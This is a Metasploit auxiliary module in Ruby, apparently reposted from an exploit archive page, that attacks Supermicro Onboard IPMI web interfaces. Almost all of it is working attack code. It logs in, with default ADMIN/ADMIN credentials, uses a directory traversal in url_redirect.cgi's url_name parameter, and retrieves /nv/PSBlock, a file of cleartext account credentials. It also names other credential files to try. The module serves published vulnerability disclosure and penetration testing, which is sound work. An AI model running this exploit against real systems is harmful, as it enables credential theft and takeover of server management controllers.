Share
## https://sploitus.com/exploit?id=PACKETSTORM:181079
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'uri'  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Scanner  
include Msf::Auxiliary::Report  
  
  
APP_NAME = "Supermicro web interface"  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Supermicro Onboard IPMI url_redirect.cgi Authenticated Directory Traversal',  
'Description' => %q{  
This module abuses a directory traversal vulnerability in the url_redirect.cgi application  
accessible through the web interface of Supermicro Onboard IPMI controllers. The vulnerability  
is present due to a lack of sanitization of the url_name parameter. This allows an attacker with  
a valid, but not necessarily administrator-level account, to access the contents of any file  
on the system. This includes the /nv/PSBlock file, which contains the cleartext credentials for  
all configured accounts. This module has been tested on a Supermicro Onboard IPMI (X9SCL/X9SCM)  
with firmware version SMT_X9_214. Other file names to try include /PSStore, /PMConfig.dat, and  
/wsman/simple_auth.passwd  
},  
'Author' =>  
[  
'hdm', # Discovery and analysis  
'juan vazquez' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'URL', 'https://www.rapid7.com/blog/post/2013/11/06/supermicro-ipmi-firmware-vulnerabilities/' ],  
[ 'URL', 'https://github.com/zenfish/ipmi/blob/master/dump_SM.py']  
],  
'DisclosureDate' => '2013-11-06'))  
  
register_options(  
[  
OptInt.new('DEPTH', [true, 'Traversal depth', 1]), # By default downloads from /tmp  
OptString.new('FILEPATH', [true, 'The name of the file to download', '/nv/PSBlock']),  
OptString.new('PASSWORD', [true, 'Password for Supermicro Web Interface', 'ADMIN']),  
OptString.new('USERNAME', [true, 'Username for Supermicro Web Interface', 'ADMIN'])  
])  
end  
  
def my_basename(filename)  
return ::File.basename(filename.gsub(/\\/, "/"))  
end  
  
def is_supermicro?  
res = send_request_cgi(  
{  
"uri" => "/",  
"method" => "GET"  
})  
  
if res and res.code == 200 and res.body.to_s =~ /ATEN International Co Ltd\./  
return true  
else  
return false  
end  
end  
  
def login  
res = send_request_cgi({  
"uri" => "/cgi/login.cgi",  
"method" => "POST",  
"vars_post" => {  
"name" => datastore["USERNAME"],  
"pwd" => datastore["PASSWORD"]  
}  
})  
  
if res and res.code == 200 and res.body.to_s =~ /self.location="\.\.\/cgi\/url_redirect\.cgi/ and res.get_cookies =~ /(SID=[a-z]+)/  
return $1  
else  
return nil  
end  
end  
  
def read_file(file, session)  
travs = ""  
travs << "../" * datastore['DEPTH']  
travs << file  
  
print_status("Retrieving file contents...")  
  
res = send_request_cgi({  
"uri" => "/cgi/url_redirect.cgi",  
"method" => "GET",  
"cookie" => session,  
"encode_params" => false,  
"vars_get" => {  
"url_type" => "file",  
"url_name" => travs  
}  
})  
  
if res and res.code == 200 and res.headers["Content-type"].to_s =~ /text\/html/ and res.headers["Pragma"].nil?  
return res.body.to_s  
else  
return nil  
end  
end  
  
def run_host(ip)  
print_status("Checking if it's a #{APP_NAME}....")  
if is_supermicro?  
print_good("Check successful")  
else  
print_error("#{APP_NAME} not found")  
return  
end  
  
print_status("Login into the #{APP_NAME}...")  
session = login  
if session.nil?  
print_error("Failed to login, check credentials.")  
return  
else  
print_good("Login Successful, session: #{session}")  
end  
  
contents = read_file(datastore['FILEPATH'], session)  
if contents.nil?  
print_error("File not downloaded")  
return  
end  
  
file_name = my_basename(datastore['FILEPATH'])  
path = store_loot(  
'supermicro.ipmi.traversal.psblock',  
'application/octet-stream',  
rhost,  
contents,  
file_name  
)  
print_good("File saved in: #{path}")  
end  
end